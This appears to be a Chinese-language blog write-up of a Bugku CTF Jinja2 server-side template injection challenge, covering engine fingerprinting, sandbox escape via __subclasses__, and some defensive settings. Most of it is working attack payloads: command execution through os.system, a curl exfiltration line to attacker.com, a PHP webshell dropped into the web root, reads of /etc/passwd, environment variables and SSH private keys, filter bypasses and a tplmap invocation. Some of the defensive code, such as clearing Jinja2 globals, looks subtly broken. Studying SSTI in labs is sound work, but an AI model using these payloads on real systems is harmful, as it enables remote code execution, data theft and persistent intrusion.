☰
CTF中的SSTI漏洞利用与防御实战
2026/10/14 10:43:45 网站建设 项目流程

1. 题目背景与核心考察点

这道来自Bugku平台的CTF题目名为"Simple_SSTI_2",属于Web安全方向的模板注入类挑战。SSTI(Server-Side Template Injection)是近年来CTF比赛和实际渗透测试中的高频考点,主要考察选手对服务端模板引擎的识别、利用以及安全防护的理解。

在真实开发场景中,许多Web框架(如Flask、Django、Spring等)都会使用模板引擎来动态生成HTML页面。当开发人员不慎将用户输入直接拼接到模板中时,就可能造成SSTI漏洞,攻击者通过注入恶意模板代码可以实现远程代码执行(RCE)。

2. 环境搭建与初步测试

2.1 题目界面分析

启动题目环境后,我们看到一个简单的输入框,提示"Try to find the secret"。尝试提交测试字符串{{7*7}},页面返回计算结果49,这明确表明存在模板注入漏洞。

关键验证技巧:测试SSTI时建议依次尝试{7*7},${7*7},<%=7*7%>等不同语法,覆盖常见模板引擎的表达式语法。

2.2 模板引擎指纹识别

通过注入特殊语法可以识别具体模板引擎:

  • {{'7'*7}}返回7777777→ Jinja2特性
  • {{7*'7'}}报错 → 排除Twig
  • {{self}}返回<TemplateReference None>→ 确认Flask+Jinja2组合

识别模板类型对后续利用至关重要。常见引擎的差异如下表:

引擎类型测试Payload特征响应
Jinja2{{''.__class__}}返回类对象信息
Twig{{_self}}返回框架对象
Smarty{system('id')}直接执行系统命令

3. 漏洞利用链构建

3.1 Python沙箱逃逸基础

在Jinja2环境下,我们需要通过Python对象原型链进行沙箱逃逸。核心思路是:

  1. 获取基本类的__class__属性
  2. 回溯到object基类
  3. 访问__subclasses__()获取所有子类
  4. 定位到可执行命令的危险子类(如os._wrap_close)
# 典型利用链示例 {{''.__class__.__mro__[1].__subclasses__()[X]}}

3.2 子类索引定位

不同Python环境下的危险类索引位置不同,需要动态探测。通过以下脚本可以快速定位:

for i in range(500): payload = f"{{{{''.__class__.__mro__[1].__subclasses__()[{i}]}}}}" if 'os._wrap_close' in requests.post(url, data={'input':payload}).text: print(f"Found at index {i}") break

在本题环境中,os._wrap_close位于索引117的位置。

4. 完整利用过程

4.1 命令执行Payload构造

利用找到的危险类构造RCE:

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('ls')}}

这个Payload的解析过程:

  1. ''.__class__→ 获取字符串类
  2. __mro__[1]→ 获取object基类
  3. __subclasses__()[117]→ 定位os._wrap_close
  4. __init__.__globals__→ 获取模块全局变量
  5. ['system']→ 引用os.system函数

4.2 盲注技巧应用

当命令执行无回显时,可以使用盲注技术:

  • 延时注入:{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('sleep 5')}}
  • DNS外带:{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('curl http://attacker.com/whoami')}}

4.3 最终Flag获取

执行cat /flag或查看环境变量获取flag:

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('env')}}

5. 防御方案与最佳实践

5.1 输入过滤策略

  • 严格限制模板中可使用的字符(如禁止_、[、]等)
  • 使用正则表达式过滤危险关键词:
    import re BLACKLIST = re.compile(r'__|import|os|system|eval') if BLACKLIST.search(user_input): raise ValueError('Invalid input')

5.2 安全模板配置

对于Jinja2,建议配置:

app.jinja_env.globals = None # 清空全局变量 app.jinja_env.autoescape = True # 开启自动转义

5.3 沙箱化执行

使用AST解析器预先检查模板语法:

from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment()

6. 扩展利用技巧

6.1 无数字字母RCE

当字符受限时,可以通过:

  • 属性访问:request|attr('application')
  • 字符串拼接:('fla'~'g')|read()
  • 进制转换:0x2f|string|lower→/

6.2 内存操作进阶

通过__builtins__访问更底层功能:

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['__builtins__']['__import__']('os').system('id')}}

6.3 框架特性利用

某些框架的默认路由可能泄露敏感信息:

  • Flask的/console调试接口
  • Django的/admin后台页面

7. 实际渗透测试经验

在真实项目中遇到SSTI时:

  1. 优先尝试读取/proc/self/environ获取环境变量
  2. 检查/etc/passwd确认用户权限
  3. 尝试写入Webshell到可写目录:
    {{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('echo "<?php system($_GET[cmd]);?>" > /var/www/html/shell.php')}}
  4. 横向移动时通过~/.ssh/id_rsa获取SSH密钥

8. 自动化工具推荐

  • tplmap:自动检测和利用SSTI
    python tplmap.py -u "http://target/page?name=*"
  • Jinja2 Debug Console:当开启调试模式时,可通过/console执行代码
  • Burp Suite SSTI Scanner:定制扫描插件检测模板注入点

9. 常见问题排查

Q1:Payload执行但无回显A:尝试使用curl或wget外带数据,或使用base64编码输出:

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['system']('id | base64')}}

Q2:特殊字符被过滤A:使用替代方案:

  • 点号 →|attr()
  • 中括号 →__getitem__()
  • 字符串 →request.args.x

Q3:子类索引不稳定A:编写脚本批量测试,或改用更稳定的查找方式:

{% for x in ''.__class__.__mro__[1].__subclasses__() %}{% if "catch_warnings" in x.__name__ %}{{x.__init__.__globals__}}{% endif %}{% endfor %}

10. 学习资源推荐

  1. Payload大全:GitHub上的PayloadsAllTheThings项目
  2. 实验环境:
    • Vulnhub的Jinja2 SSTI Lab
    • Docker镜像vulhub/flask/ssti
  3. 进阶研究:
    • 《Web Application Security》模板注入章节
    • BlackHat会议关于SSTI的演讲材料

通过这道题目,我们不仅掌握了基础的SSTI利用技巧,更深入理解了模板引擎的工作原理和安全防护方法。在实际开发中,切记永远不要信任用户输入的模板内容。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询